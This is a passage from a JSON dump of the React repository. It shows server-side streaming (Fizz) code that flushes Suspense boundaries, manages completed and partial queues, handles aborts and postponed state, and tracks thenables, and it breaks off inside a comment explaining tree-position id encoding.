PENDING) {\n      // For pending boundaries we lazily assign an ID to the boundary\n      // and root segment.\n      boundary.rootSegmentID = request.nextSegmentId++;\n    }\n\n    if (boundary.completedSegments.length > 0) {\n      // If this is at least partially complete, we can queue it to be partially emitted early.\n      request.partialBoundaries.push(boundary);\n    }\n\n    // This boundary is still loading. Emit a pending suspense boundary wrapper.\n\n    const id = boundary.rootSegmentID;\n    writeStartPendingSuspenseBoundary(destination, request.renderState, id);\n\n    if (hoistableState) {\n      hoistHoistables(hoistableState, boundary.fallbackState);\n    }\n    // Flush the fallback.\n    flushSubtree(request, destination, segment, hoistableState);\n\n    return writeEndPendingSuspenseBoundary(destination, request.renderState);\n  } else if (\n    // We don't outline when we're emitting partially completed boundaries optimistically\n    // because it doesn't make sense to outline something if its parent is going to be\n    // blocked on something later in the stream anyway.\n    !flushingPartialBoundaries &&\n    isEligibleForOutlining(request, boundary) &&\n    (flushedByteSize + boundary.byteSize > request.progressiveChunkSize ||\n      hasSuspenseyContent(boundary.contentState, flushingShell) ||\n      boundary.defer)\n  ) {\n    // Inlining this boundary would make the current sequence being written too large\n    // and block the parent for too long. Instead, it will be emitted separately so that we\n    // can progressively show other content.\n    // We add it to the queue during the flush because we have to ensure that\n    // the parent flushes first so that there's something to inject it into.\n    // We also have to make sure that it's emitted into the queue in a deterministic slot.\n    // I.e. we can't insert it here when it completes.\n\n    // Assign an ID to refer to the future content by.\n    boundary.rootSegmentID = request.nextSegmentId++;\n\n    request.completedBoundaries.push(boundary);\n    // Emit a pending rendered suspense boundary wrapper.\n    writeStartPendingSuspenseBoundary(\n      destination,\n      request.renderState,\n      boundary.rootSegmentID,\n    );\n\n    // While we are going to flush the fallback we are going to follow it up with\n    // the completed boundary immediately so we make the choice to omit fallback\n    // boundary state from the parent since it will be replaced when the boundary\n    // flushes later in this pass or in a future flush\n\n    // Flush the fallback.\n    flushSubtree(request, destination, segment, hoistableState);\n\n    return writeEndPendingSuspenseBoundary(destination, request.renderState);\n  } else {\n    // We're inlining this boundary so its bytes get counted to the current running count.\n    flushedByteSize += boundary.byteSize;\n    if (hoistableState) {\n      hoistHoistables(hoistableState, boundary.contentState);\n    }\n\n    const row = boundary.row;\n    if (row !== null && isEligibleForOutlining(request, boundary)) {\n      // Once we have written the boundary, we can unblock the row and let future\n      // rows be written. This may schedule new completed boundaries.\n      if (--row.pendingTasks === 0) {\n        finishSuspenseListRow(request, row);\n      }\n    }\n\n    // We can inline this boundary's content as a complete boundary.\n    writeStartCompletedSuspenseBoundary(destination, request.renderState);\n\n    const completedSegments = boundary.completedSegments;\n\n    if (completedSegments.length !== 1) {\n      throw new Error(\n        'A previously unvisited boundary must have exactly one root segment. This is a bug in React.',\n      );\n    }\n\n    const contentSegment = completedSegments[0];\n    flushSegment(request, destination, contentSegment, hoistableState);\n\n    return writeEndCompletedSuspenseBoundary(destination, request.renderState);\n  }\n}\n\nfunction flushClientRenderedBoundary(\n  request: Request,\n  destination: Destination,\n  boundary: SuspenseBoundary,\n): boolean {\n  if (__DEV__) {\n    return writeClientRenderBoundaryInstruction(\n      destination,\n      request.resumableState,\n      request.renderState,\n      boundary.rootSegmentID,\n      boundary.errorDigest,\n      boundary.errorMessage,\n      boundary.errorStack,\n      boundary.errorComponentStack,\n    );\n  } else {\n    return writeClientRenderBoundaryInstruction(\n      destination,\n      request.resumableState,\n      request.renderState,\n      boundary.rootSegmentID,\n      boundary.errorDigest,\n      null,\n      null,\n      null,\n    );\n  }\n}\n\nfunction flushSegmentContainer(\n  request: Request,\n  destination: Destination,\n  segment: Segment,\n  hoistableState: HoistableState,\n): boolean {\n  writeStartSegment(\n    destination,\n    request.renderState,\n    segment.parentFormatContext,\n    segment.id,\n  );\n  flushSegment(request, destination, segment, hoistableState);\n  return writeEndSegment(destination, segment.parentFormatContext);\n}\n\nfunction flushCompletedBoundary(\n  request: Request,\n  destination: Destination,\n  boundary: SuspenseBoundary,\n): boolean {\n  flushedByteSize = boundary.byteSize; // Start counting bytes\n  const completedSegments = boundary.completedSegments;\n  let i = 0;\n  for (; i < completedSegments.length; i++) {\n    const segment = completedSegments[i];\n    flushPartiallyCompletedSegment(request, destination, boundary, segment);\n  }\n  completedSegments.length = 0;\n\n  const row = boundary.row;\n  if (row !== null && isEligibleForOutlining(request, boundary)) {\n    // Once we have written the boundary, we can unblock the row and let future\n    // rows be written. This may schedule new completed boundaries.\n    if (--row.pendingTasks === 0) {\n      finishSuspenseListRow(request, row);\n    }\n  }\n\n  writeHoistablesForBoundary(\n    destination,\n    boundary.contentState,\n    request.renderState,\n  );\n  return writeCompletedBoundaryInstruction(\n    destination,\n    request.resumableState,\n    request.renderState,\n    boundary.rootSegmentID,\n    boundary.contentState,\n  );\n}\n\nfunction flushPartialBoundary(\n  request: Request,\n  destination: Destination,\n  boundary: SuspenseBoundary,\n): boolean {\n  flushedByteSize = boundary.byteSize; // Start counting bytes\n  const completedSegments = boundary.completedSegments;\n  let i = 0;\n  for (; i < completedSegments.length; i++) {\n    const segment = completedSegments[i];\n    if (\n      !flushPartiallyCompletedSegment(request, destination, boundary, segment)\n    ) {\n      i++;\n      completedSegments.splice(0, i);\n      // Only write as much as the buffer wants. Something higher priority\n      // might want to write later.\n      return false;\n    }\n  }\n  completedSegments.splice(0, i);\n\n  const row = boundary.row;\n  if (row !== null && row.together && boundary.pendingTasks === 1) {\n    // \"together\" rows are blocked on their own boundaries.\n    // We have now flushed all the boundary's segments as partials.\n    // We can now unblock it from blocking the row that will eventually\n    // unblock the boundary itself which can issue its complete instruction.\n    // TODO: Ideally the complete instruction would be in a single <script> tag.\n    if (row.pendingTasks === 1) {\n      unblockSuspenseListRow(request, row, row.hoistables);\n    } else {\n      row.pendingTasks--;\n    }\n  }\n\n  return writeHoistablesForBoundary(\n    destination,\n    boundary.contentState,\n    request.renderState,\n  );\n}\n\nfunction flushPartiallyCompletedSegment(\n  request: Request,\n  destination: Destination,\n  boundary: SuspenseBoundary,\n  segment: Segment,\n): boolean {\n  if (segment.status === FLUSHED) {\n    // We've already flushed this inline\n    return true;\n  }\n\n  const hoistableState = boundary.contentState;\n\n  const segmentID = segment.id;\n  if (segmentID === -1) {\n    // This segment wasn't previously referred to. This happens at the root of\n    // a boundary. We make kind of a leap here and assume this is the root.\n    const rootSegmentID = (segment.id = boundary.rootSegmentID);\n\n    if (rootSegmentID === -1) {\n      throw new Error(\n        'A root segment ID must have been assigned by now. This is a bug in React.',\n      );\n    }\n\n    return flushSegmentContainer(request, destination, segment, hoistableState);\n  } else if (segmentID === boundary.rootSegmentID) {\n    // When we emit postponed boundaries, we might have assigned the ID already\n    // but it's still the root segment so we can't inject it into the parent yet.\n    return flushSegmentContainer(request, destination, segment, hoistableState);\n  } else {\n    flushSegmentContainer(request, destination, segment, hoistableState);\n    return writeCompletedSegmentInstruction(\n      destination,\n      request.resumableState,\n      request.renderState,\n      segmentID,\n    );\n  }\n}\n\nlet flushingPartialBoundaries = false;\nlet flushingShell = false;\n\nfunction flushCompletedQueues(\n  request: Request,\n  destination: Destination,\n): void {\n  beginWriting(destination);\n  try {\n    // The structure of this is to go through each queue one by one and write\n    // until the sink tells us to stop. When we should stop, we still finish writing\n    // that item fully and then yield. At that point we remove the already completed\n    // items up until the point we completed them.\n\n    if (request.pendingRootTasks > 0) {\n      // When there are pending root tasks we don't want to flush anything\n      return;\n    }\n\n    let i;\n    const completedRootSegment = request.completedRootSegment;\n    if (completedRootSegment !== null) {\n      if (completedRootSegment.status === POSTPONED) {\n        return;\n      }\n\n      const completedPreambleSegments = request.completedPreambleSegments;\n      if (completedPreambleSegments === null) {\n        // The preamble isn't ready yet even though the root is so we omit flushing\n        return;\n      }\n\n      flushedByteSize = request.byteSize; // Start counting bytes\n      // TODO: Count the size of the preamble chunks too.\n      let skipBlockingShell = false;\n      if (enableFizzBlockingRender) {\n        const blockingRenderMaxSize = getBlockingRenderMaxSize(request);\n        if (flushedByteSize > blockingRenderMaxSize) {\n          skipBlockingShell = true;\n          const maxSizeKb = Math.round(blockingRenderMaxSize / 1000);\n          const error = new Error(\n            'This rendered a large document (>' +\n              maxSizeKb +\n              ' kB) without any Suspense ' +\n              'boundaries around most of it. That can delay initial paint longer than ' +\n              'necessary. To improve load performance, add a <Suspense> or <SuspenseList> ' +\n              'around the content you expect to be below the header or below the fold. ' +\n              'In the meantime, the content will deopt to paint arbitrary incomplete ' +\n              'pieces of HTML.',\n          );\n          const errorInfo: ThrownInfo = {};\n          logRecoverableError(request, error, errorInfo, null);\n        }\n      }\n      flushPreamble(\n        request,\n        destination,\n        completedRootSegment,\n        completedPreambleSegments,\n        skipBlockingShell,\n      );\n      flushingShell = true;\n      flushSegment(request, destination, completedRootSegment, null);\n      flushingShell = false;\n      request.completedRootSegment = null;\n      const isComplete =\n        request.allPendingTasks === 0 &&\n        request.clientRenderedBoundaries.length === 0 &&\n        request.completedBoundaries.length === 0 &&\n        (request.trackedPostpones === null ||\n          (request.trackedPostpones.rootNodes.length === 0 &&\n            request.trackedPostpones.rootSlots === null));\n      writeCompletedRoot(\n        destination,\n        request.resumableState,\n        request.renderState,\n        isComplete,\n      );\n    }\n\n    writeHoistables(destination, request.resumableState, request.renderState);\n    // We emit client rendering instructions for already emitted boundaries first.\n    // This is so that we can signal to the client to start client rendering them as\n    // soon as possible.\n    const clientRenderedBoundaries = request.clientRenderedBoundaries;\n    for (i = 0; i < clientRenderedBoundaries.length; i++) {\n      const boundary = clientRenderedBoundaries[i];\n      if (!flushClientRenderedBoundary(request, destination, boundary)) {\n        request.destination = null;\n        i++;\n        clientRenderedBoundaries.splice(0, i);\n        return;\n      }\n    }\n    clientRenderedBoundaries.splice(0, i);\n\n    // Next we emit any complete boundaries. It's better to favor boundaries\n    // that are completely done since we can actually show them, than it is to emit\n    // any individual segments from a partially complete boundary.\n    const completedBoundaries = request.completedBoundaries;\n    for (i = 0; i < completedBoundaries.length; i++) {\n      const boundary = completedBoundaries[i];\n      if (!flushCompletedBoundary(request, destination, boundary)) {\n        request.destination = null;\n        i++;\n        completedBoundaries.splice(0, i);\n        return;\n      }\n    }\n    completedBoundaries.splice(0, i);\n\n    // Allow anything written so far to flush to the underlying sink before\n    // we continue with lower priorities.\n    completeWriting(destination);\n    beginWriting(destination);\n\n    // TODO: Here we'll emit data used by hydration.\n\n    // Next we emit any segments of any boundaries that are partially complete\n    // but not deeply complete.\n    flushingPartialBoundaries = true;\n    const partialBoundaries = request.partialBoundaries;\n    for (i = 0; i < partialBoundaries.length; i++) {\n      const boundary = partialBoundaries[i];\n      if (!flushPartialBoundary(request, destination, boundary)) {\n        request.destination = null;\n        i++;\n        partialBoundaries.splice(0, i);\n        return;\n      }\n    }\n    partialBoundaries.splice(0, i);\n    flushingPartialBoundaries = false;\n\n    // Next we check the completed boundaries again. This may have had\n    // boundaries added to it in case they were too larged to be inlined.\n    // SuspenseListRows might have been unblocked as well.\n    // New ones might be added in this loop.\n    const largeBoundaries = request.completedBoundaries;\n    for (i = 0; i < largeBoundaries.length; i++) {\n      const boundary = largeBoundaries[i];\n      if (!flushCompletedBoundary(request, destination, boundary)) {\n        request.destination = null;\n        i++;\n        largeBoundaries.splice(0, i);\n        return;\n      }\n    }\n    largeBoundaries.splice(0, i);\n  } finally {\n    flushingPartialBoundaries = false;\n    if (\n      request.allPendingTasks === 0 &&\n      request.clientRenderedBoundaries.length === 0 &&\n      request.completedBoundaries.length === 0\n      // We don't need to check any partially completed segments because\n      // either they have pending task or they're complete.\n    ) {\n      request.flushScheduled = false;\n      // We write the trailing tags but only if don't have any data to resume.\n      // If we need to resume we'll write the postamble in the resume instead.\n      writePostamble(destination, request.resumableState);\n      completeWriting(destination);\n      flushBuffered(destination);\n      if (__DEV__) {\n        if (request.abortableTasks.size !== 0) {\n          console.error(\n            'There was still abortable task at the root when we closed. This is a bug in React.',\n          );\n        }\n      }\n      // We're done.\n      request.status = CLOSED;\n      close(destination);\n      // We need to stop flowing now because we do not want any async contexts which might call\n      // float methods to initiate any flushes after this point\n      stopFlowing(request);\n    } else {\n      completeWriting(destination);\n      flushBuffered(destination);\n    }\n  }\n}\n\nexport function startWork(request: Request): void {\n  request.flushScheduled = request.destination !== null;\n  // When prerendering we use microtasks for pinging work\n  if (supportsRequestStorage) {\n    scheduleMicrotask(() => requestStorage.run(request, performWork, request));\n  } else {\n    scheduleMicrotask(() => performWork(request));\n  }\n  scheduleWork(() => {\n    if (request.status === OPENING) {\n      request.status = OPEN;\n    }\n\n    if (request.trackedPostpones === null) {\n      // this is either a regular render or a resume. For regular render we want\n      // to call emitEarlyPreloads after the first performWork because we want\n      // are responding to a live request and need to balance sending something early\n      // (i.e. don't want for the shell to finish) but we need something to send.\n      // The only implementation of this is for DOM at the moment and during resumes nothing\n      // actually emits but the code paths here are the same.\n      // During a prerender we don't want to be too aggressive in emitting early preloads\n      // because we aren't responding to a live request and we can wait for the prerender to\n      // postpone before we emit anything.\n      if (supportsRequestStorage) {\n        requestStorage.run(\n          request,\n          enqueueEarlyPreloadsAfterInitialWork,\n          request,\n        );\n      } else {\n        enqueueEarlyPreloadsAfterInitialWork(request);\n      }\n    }\n  });\n}\n\nfunction enqueueEarlyPreloadsAfterInitialWork(request: Request) {\n  const shellComplete = request.pendingRootTasks === 0;\n  safelyEmitEarlyPreloads(request, shellComplete);\n}\n\nfunction enqueueFlush(request: Request): void {\n  if (\n    request.flushScheduled === false &&\n    // If there are pinged tasks we are going to flush anyway after work completes\n    request.pingedTasks.length === 0 &&\n    // If there is no destination there is nothing we can flush to. A flush will\n    // happen when we start flowing again\n    request.destination !== null\n  ) {\n    request.flushScheduled = true;\n    scheduleWork(() => {\n      // We need to existence check destination again here because it might go away\n      // in between the enqueueFlush call and the work execution\n      const destination = request.destination;\n      if (destination) {\n        flushCompletedQueues(request, destination);\n      } else {\n        request.flushScheduled = false;\n      }\n    });\n  }\n}\n\n// This function is intented to only be called during the pipe function for the Node builds.\n// The reason we need this is because `renderToPipeableStream` is the only API which allows\n// you to start flowing before the shell is complete and we've had a chance to emit early\n// preloads already. This is really just defensive programming to ensure that we give hosts an\n// opportunity to flush early preloads before streaming begins in case they are in an environment\n// that only supports a single call to emitEarlyPreloads like the DOM renderers. It's unfortunate\n// to put this Node only function directly in ReactFizzServer but it'd be more ackward to factor it\n// by moving the implementation into ReactServerStreamConfigNode and even then we may not be able to\n// eliminate all the wasted branching.\nexport function prepareForStartFlowingIfBeforeAllReady(request: Request) {\n  const shellComplete =\n    request.trackedPostpones === null\n      ? // Render Request, we define shell complete by the pending root tasks\n        request.pendingRootTasks === 0\n      : // Prerender Request, we define shell complete by completedRootSegemtn\n        request.completedRootSegment === null\n        ? request.pendingRootTasks === 0\n        : request.completedRootSegment.status !== POSTPONED;\n  safelyEmitEarlyPreloads(request, shellComplete);\n}\n\nexport function startFlowing(request: Request, destination: Destination): void {\n  if (request.status === CLOSING) {\n    request.status = CLOSED;\n    closeWithError(destination, request.fatalError);\n    return;\n  }\n  if (request.status === CLOSED) {\n    return;\n  }\n  if (request.destination !== null) {\n    // We're already flowing.\n    return;\n  }\n  request.destination = destination;\n\n  try {\n    flushCompletedQueues(request, destination);\n  } catch (error) {\n    const errorInfo: ThrownInfo = {};\n    logRecoverableError(request, error, errorInfo, null);\n    fatalError(request, error, errorInfo, null);\n  }\n}\n\nexport function stopFlowing(request: Request): void {\n  request.destination = null;\n}\n\n// This is called to early terminate a request. It puts all pending boundaries in client rendered state.\nexport function abort(request: Request, reason: mixed): void {\n  if (request.status === OPEN || request.status === OPENING) {\n    request.status = ABORTING;\n  }\n\n  try {\n    const abortableTasks = request.abortableTasks;\n    if (abortableTasks.size > 0) {\n      const error =\n        reason === undefined\n          ? new Error('The render was aborted by the server without a reason.')\n          : typeof reason === 'object' &&\n              reason !== null &&\n              typeof reason.then === 'function'\n            ? new Error('The render was aborted by the server with a promise.')\n            : reason;\n      // This error isn't necessarily fatal in this case but we need to stash it\n      // so we can use it to abort any pending work\n      request.fatalError = error;\n      if (__DEV__) {\n        abortableTasks.forEach(task => abortTaskDEV(task, request, error));\n      } else {\n        abortableTasks.forEach(task => abortTask(task, request, error));\n      }\n      abortableTasks.clear();\n    }\n    if (request.destination !== null) {\n      flushCompletedQueues(request, request.destination);\n    }\n  } catch (error) {\n    const errorInfo: ThrownInfo = {};\n    logRecoverableError(request, error, errorInfo, null);\n    fatalError(request, error, errorInfo, null);\n  }\n}\n\nexport function flushResources(request: Request): void {\n  enqueueFlush(request);\n}\n\nexport function getFormState(\n  request: Request,\n): ReactFormState<any, any> | null {\n  return request.formState;\n}\n\nexport function getResumableState(request: Request): ResumableState {\n  return request.resumableState;\n}\n\nexport function getRenderState(request: Request): RenderState {\n  return request.renderState;\n}\n\nfunction addToReplayParent(\n  node: ReplayNode,\n  parentKeyPath: Root | KeyNode,\n  trackedPostpones: PostponedHoles,\n): void {\n  if (parentKeyPath === null) {\n    trackedPostpones.rootNodes.push(node);\n  } else {\n    const workingMap = trackedPostpones.workingMap;\n    let parentNode = workingMap.get(parentKeyPath);\n    if (parentNode === undefined) {\n      parentNode = ([\n        parentKeyPath[1],\n        parentKeyPath[2],\n        ([]: Array<ReplayNode>),\n        null,\n      ]: ReplayNode);\n      workingMap.set(parentKeyPath, parentNode);\n      addToReplayParent(parentNode, parentKeyPath[0], trackedPostpones);\n    }\n    parentNode[2].push(node);\n  }\n}\n\nexport type PostponedState = {\n  nextSegmentId: number,\n  rootFormatContext: FormatContext,\n  progressiveChunkSize: number,\n  resumableState: ResumableState,\n  replayNodes: Array<ReplayNode>,\n  replaySlots: ResumeSlots,\n};\n\n// Returns the state of a postponed request or null if nothing was postponed.\nexport function getPostponedState(request: Request): null | PostponedState {\n  const trackedPostpones = request.trackedPostpones;\n  if (\n    trackedPostpones === null ||\n    (trackedPostpones.rootNodes.length === 0 &&\n      trackedPostpones.rootSlots === null)\n  ) {\n    // Reset. Let the flushing behave as if we completed the whole document.\n    request.trackedPostpones = null;\n    return null;\n  }\n  let replaySlots: ResumeSlots;\n  let nextSegmentId: number;\n  if (\n    request.completedRootSegment !== null &&\n    // The Root postponed\n    (request.completedRootSegment.status === POSTPONED ||\n      // Or the Preamble was not available\n      request.completedPreambleSegments === null)\n  ) {\n    nextSegmentId = 0;\n    // We need to ensure that on resume we retry the root. We use a number\n    // type for the replaySlots to signify this (see resumeRequest).\n    // The value -1 represents an unassigned ID but is not functionally meaningful\n    // for resuming at the root.\n    replaySlots = -1;\n    // We either postponed the root or we did not have a preamble to flush\n    resetResumableState(request.resumableState, request.renderState);\n  } else {\n    nextSegmentId = request.nextSegmentId;\n    replaySlots = trackedPostpones.rootSlots;\n    completeResumableState(request.resumableState);\n  }\n  return {\n    nextSegmentId,\n    rootFormatContext: request.rootFormatContext,\n    progressiveChunkSize: request.progressiveChunkSize,\n    resumableState: request.resumableState,\n    replayNodes: trackedPostpones.rootNodes,\n    replaySlots,\n  };\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFizzThenable.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Corresponds to ReactFiberThenable and ReactFlightThenable modules. Generally,\n// changes to one module should be reflected in the others.\n\nimport type {\n  Thenable,\n  PendingThenable,\n  FulfilledThenable,\n  RejectedThenable,\n} from 'shared/ReactTypes';\nimport type {ComponentStackNode} from './ReactFizzComponentStack';\n\nimport noop from 'shared/noop';\nimport {currentTaskInDEV} from './ReactFizzCurrentTask';\n\nexport opaque type ThenableState = Array<Thenable<any>>;\n\n// An error that is thrown (e.g. by `use`) to trigger Suspense. If we\n// detect this is caught by userspace, we'll log a warning in development.\nexport const SuspenseException: mixed = new Error(\n  \"Suspense Exception: This is not a real error! It's an implementation \" +\n    'detail of `use` to interrupt the current render. You must either ' +\n    'rethrow it immediately, or move the `use` call outside of the ' +\n    '`try/catch` block. Capturing without rethrowing will lead to ' +\n    'unexpected behavior.\\n\\n' +\n    'To handle async errors, wrap your component in an error boundary, or ' +\n    \"call the promise's `.catch` method and pass the result to `use`.\",\n);\n\nexport function createThenableState(): ThenableState {\n  // The ThenableState is created the first time a component suspends. If it\n  // suspends again, we'll reuse the same state.\n  return [];\n}\n\nexport function trackUsedThenable<T>(\n  thenableState: ThenableState,\n  thenable: Thenable<T>,\n  index: number,\n): T {\n  const previous = thenableState[index];\n  if (previous === undefined) {\n    thenableState.push(thenable);\n  } else {\n    if (previous !== thenable) {\n      // Reuse the previous thenable, and drop the new one. We can assume\n      // they represent the same value, because components are idempotent.\n\n      // Avoid an unhandled rejection errors for the Promises that we'll\n      // intentionally ignore.\n      thenable.then(noop, noop);\n      thenable = previous;\n    }\n  }\n\n  // We use an expando to track the status and result of a thenable so that we\n  // can synchronously unwrap the value. Think of this as an extension of the\n  // Promise API, or a custom interface that is a superset of Thenable.\n  //\n  // If the thenable doesn't have a status, set it to \"pending\" and attach\n  // a listener that will update its status and result when it resolves.\n  switch (thenable.status) {\n    case 'fulfilled': {\n      const fulfilledValue: T = thenable.value;\n      return fulfilledValue;\n    }\n    case 'rejected': {\n      const rejectedError = thenable.reason;\n      throw rejectedError;\n    }\n    default: {\n      if (typeof thenable.status === 'string') {\n        // Only instrument the thenable if the status if not defined. If\n        // it's defined, but an unknown value, assume it's been instrumented by\n        // some custom userspace implementation. We treat it as \"pending\".\n        // Attach a dummy listener, to ensure that any lazy initialization can\n        // happen. Flight lazily parses JSON when the value is actually awaited.\n        thenable.then(noop, noop);\n      } else {\n        const pendingThenable: PendingThenable<T> = (thenable: any);\n        pendingThenable.status = 'pending';\n        pendingThenable.then(\n          fulfilledValue => {\n            if (thenable.status === 'pending') {\n              const fulfilledThenable: FulfilledThenable<T> = (thenable: any);\n              fulfilledThenable.status = 'fulfilled';\n              fulfilledThenable.value = fulfilledValue;\n            }\n          },\n          (error: mixed) => {\n            if (thenable.status === 'pending') {\n              const rejectedThenable: RejectedThenable<T> = (thenable: any);\n              rejectedThenable.status = 'rejected';\n              rejectedThenable.reason = error;\n            }\n          },\n        );\n      }\n\n      // Check one more time in case the thenable resolved synchronously\n      switch ((thenable: Thenable<T>).status) {\n        case 'fulfilled': {\n          const fulfilledThenable: FulfilledThenable<T> = (thenable: any);\n          return fulfilledThenable.value;\n        }\n        case 'rejected': {\n          const rejectedThenable: RejectedThenable<T> = (thenable: any);\n          throw rejectedThenable.reason;\n        }\n      }\n\n      // Suspend.\n      //\n      // Throwing here is an implementation detail that allows us to unwind the\n      // call stack. But we shouldn't allow it to leak into userspace. Throw an\n      // opaque placeholder value instead of the actual thenable. If it doesn't\n      // get captured by the work loop, log a warning, because that means\n      // something in userspace must have caught it.\n      suspendedThenable = thenable;\n      if (__DEV__ && shouldCaptureSuspendedCallSite) {\n        captureSuspendedCallSite();\n      }\n      throw SuspenseException;\n    }\n  }\n}\n\nexport function readPreviousThenable<T>(\n  thenableState: ThenableState,\n  index: number,\n): void | T {\n  const previous = thenableState[index];\n  if (previous === undefined) {\n    return undefined;\n  } else {\n    // We assume this has been resolved already.\n    return (previous: any).value;\n  }\n}\n\n// This is used to track the actual thenable that suspended so it can be\n// passed to the rest of the Suspense implementation — which, for historical\n// reasons, expects to receive a thenable.\nlet suspendedThenable: Thenable<any> | null = null;\nexport function getSuspendedThenable(): Thenable<mixed> {\n  // This is called right after `use` suspends by throwing an exception. `use`\n  // throws an opaque value instead of the thenable itself so that it can't be\n  // caught in userspace. Then the work loop accesses the actual thenable using\n  // this function.\n  if (suspendedThenable === null) {\n    throw new Error(\n      'Expected a suspended thenable. This is a bug in React. Please file ' +\n        'an issue.',\n    );\n  }\n  const thenable = suspendedThenable;\n  suspendedThenable = null;\n  return thenable;\n}\n\nlet shouldCaptureSuspendedCallSite: boolean = false;\nexport function setCaptureSuspendedCallSiteDEV(capture: boolean): void {\n  if (!__DEV__) {\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'setCaptureSuspendedCallSiteDEV was called in a production environment. ' +\n        'This is a bug in React.',\n    );\n  }\n  shouldCaptureSuspendedCallSite = capture;\n}\n\n// DEV-only\nlet suspendedCallSiteStack: ComponentStackNode | null = null;\nlet suspendedCallSiteDebugTask: ConsoleTask | null = null;\nfunction captureSuspendedCallSite(): void {\n  // This is currently only used when aborting in Fizz.\n  // You can only abort the render in Fizz and Flight.\n  // In Fiber we only track suspended use via DevTools.\n  // In Flight, we track suspended use via async debug info.\n  const currentTask = currentTaskInDEV;\n  if (currentTask === null) {\n    // eslint-disable-next-line react-internal/prod-error-codes -- not a prod error\n    throw new Error(\n      'Expected to have a current task when tracking a suspend call site. ' +\n        'This is a bug in React.',\n    );\n  }\n  const currentComponentStack = currentTask.componentStack;\n  if (currentComponentStack === null) {\n    // eslint-disable-next-line react-internal/prod-error-codes -- not a prod error\n    throw new Error(\n      'Expected to have a component stack on the current task when ' +\n        'tracking a suspended call site. This is a bug in React.',\n    );\n  }\n  suspendedCallSiteStack = {\n    parent: currentComponentStack.parent,\n    type: currentComponentStack.type,\n    owner: currentComponentStack.owner,\n    stack: Error('react-stack-top-frame'),\n  };\n  // TODO: If this is used in error handlers, the ConsoleTask stack\n  // will just be this debugTask + the stack of the abort() call which usually means\n  // it's just this debugTask.\n  // Ideally we'd be able to reconstruct the owner ConsoleTask as well.\n  // The stack of the debugTask would not point to the suspend location anyway.\n  // The focus is really on callsite which should be used in captureOwnerStack().\n  suspendedCallSiteDebugTask = currentTask.debugTask;\n}\nexport function getSuspendedCallSiteStackDEV(): ComponentStackNode | null {\n  if (__DEV__) {\n    if (suspendedCallSiteStack === null) {\n      return null;\n    }\n    const callSite = suspendedCallSiteStack;\n    suspendedCallSiteStack = null;\n    return callSite;\n  } else {\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'getSuspendedCallSiteDEV was called in a production environment. ' +\n        'This is a bug in React.',\n    );\n  }\n}\n\nexport function getSuspendedCallSiteDebugTaskDEV(): ConsoleTask | null {\n  if (__DEV__) {\n    if (suspendedCallSiteDebugTask === null) {\n      return null;\n    }\n    const debugTask = suspendedCallSiteDebugTask;\n    suspendedCallSiteDebugTask = null;\n    return debugTask;\n  } else {\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'getSuspendedCallSiteDebugTaskDEV was called in a production environment. ' +\n        'This is a bug in React.',\n    );\n  }\n}\n\nexport function ensureSuspendableThenableStateDEV(\n  thenableState: ThenableState,\n): () => void {\n  if (__DEV__) {\n    const lastThenable = thenableState[thenableState.length - 1];\n    // Reset the last thenable back to pending.\n    switch (lastThenable.status) {\n      case 'fulfilled':\n        const previousThenableValue = lastThenable.value;\n        // $FlowIgnore[method-unbinding] We rebind .then immediately.\n        const previousThenableThen = lastThenable.then.bind(lastThenable);\n        delete lastThenable.value;\n        delete (lastThenable: any).status;\n        // We'll call .then again if we resuspend. Since we potentially corrupted\n        // the internal state of unknown classes, we need to diffuse the potential\n        // crash by replacing the .then method with a noop.\n        // $FlowFixMe[cannot-write] Custom userspace Thenables may not be but native Promises are.\n        lastThenable.then = noop;\n        return () => {\n          // $FlowFixMe[cannot-write] Custom userspace Thenables may not be but native Promises are.\n          lastThenable.then = previousThenableThen;\n          lastThenable.value = previousThenableValue;\n          lastThenable.status = 'fulfilled';\n        };\n      case 'rejected':\n        const previousThenableReason = lastThenable.reason;\n        delete lastThenable.reason;\n        delete (lastThenable: any).status;\n        return () => {\n          lastThenable.reason = previousThenableReason;\n          lastThenable.status = 'rejected';\n        };\n    }\n    return noop;\n  } else {\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'ensureSuspendableThenableStateDEV was called in a production environment. ' +\n        'This is a bug in React.',\n    );\n  }\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFizzTreeContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Ids are base 32 strings whose binary representation corresponds to the\n// position of a node in a tree.\n\n// Every time the tree forks into multiple children, we add additional bits to\n// the left of the sequence that represent the position of the child within the\n// current level of children.\n//\n//      00101       00010001011010101\n//      ╰─┬─╯       ╰───────┬───────╯\n//   Fork 5 of 20       Parent id\n//\n// The leading 0s are important. In the above example, you only need 3 bits to\n// represent slot 5. However, you need 5 bits to represent all the forks at\n// the current level, so we must account for the empty bits at the end.\n//\n// For this same reason, slots are 1-indexed instead of 0-indexed. Otherwise,\n// the zeroth id at a level would be indistinguishable from its parent.\n//\n// If a node has only one child, and does not materialize an id (i.e. does not\n// contain a useId hook), then we don't need to allocate any space in the\n// sequence. It's treated as a transparent indirection. For example, these two\n// trees produce the same ids:\n//\n// <>                          <>\n//   <Indirection>               <A />\n//     <A />                     <B />\n//   </Indirection>            </>\n//   <B />\n// </>\n//\n// However, we cannot skip any node that materializes an id. Otherwise, a parent\n// id that does not fork would be indistinguishable from its child id. For\n// example, this tree does not fork, but the parent and child must have\n// different ids.\n//\n// <Parent>\n//   <Child />\n// </Parent>\n//\n// To handle this scenario, every time we materialize an id, we allocate a\n// new level with a single slot. You can think of this as a fork with only one\n// prong, or an array of children with length 1.\n//\n// It's possible for the size of the sequence to exceed 32 bits, the max\n// size for bitwise operations. When this happens, we make more room by\n// converting the right part of the id to a string and storing it in an overflow\n// variable. We use a base 32 string representation, because 32 is the largest\n// power of 2 that is supported by toString(). We want the base to be large so\n// that the resulting ids are compact, and we want the base to be a power of 2\n// because every log2(base) bits corresponds to a single character, i.e. every\n// log2(32) = 5 bits. That means we can lop bits off the end 5 at a time without\n// affecting the 